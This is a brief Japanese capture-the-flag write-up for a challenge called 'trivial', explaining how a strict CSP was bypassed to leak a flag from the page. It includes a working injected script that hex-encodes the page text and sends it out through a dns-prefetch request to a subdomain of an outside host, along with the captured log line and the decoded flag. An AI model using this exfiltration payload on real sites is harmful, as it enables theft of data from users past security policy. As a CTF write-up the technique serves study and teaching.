trivial

(問題を見たことを想定してるよ?)

まあ、iframeにフラグが在るから、其れをJSで取ってこっちに返すって感じ〜 index.htmlにはdefault-src 'none'; script-src 'unsafe-inline';のCSP directiveが設定されていて、

default-srcのお陰をちょっとめんどく成っちゃたけど、取り敢えず、今(在る程度簡単に)のは出来るのは:

此れと使ってフラグを取って返します。

<script>
const domain = "namae.test.nyiyui.ca"
function prefetch(url) {
  const a = document.createElement("link")
  a.rel = "dns-prefetch"
  a.href = url
  document.head.appendChild(a)
}
function encodeHex(s) {
  return Array.from(new TextEncoder().encode(s), byte => byte.toString(16).padStart(2, '0')).join('');
}
let flag = document.body.childNodes[0].textContent.replaceAll(/\s/g, "")
flag = flag.substring(4, flag.length - 1)
const url = `https://lolol${encodeHex(flag)}.${domain}`
prefetch(url)
</script>

後はサーバーのログを確認して:lolol6373705f69735f6e6f745f615f73656375726974795f66656174757265.namae.test.nyiyui.ca

16進数からASCIIに直すだけ!(≧▽≦)CTF{csp_is_not_a_security_feature}

今思えば確かにどうでもいい簡単な問題ですな。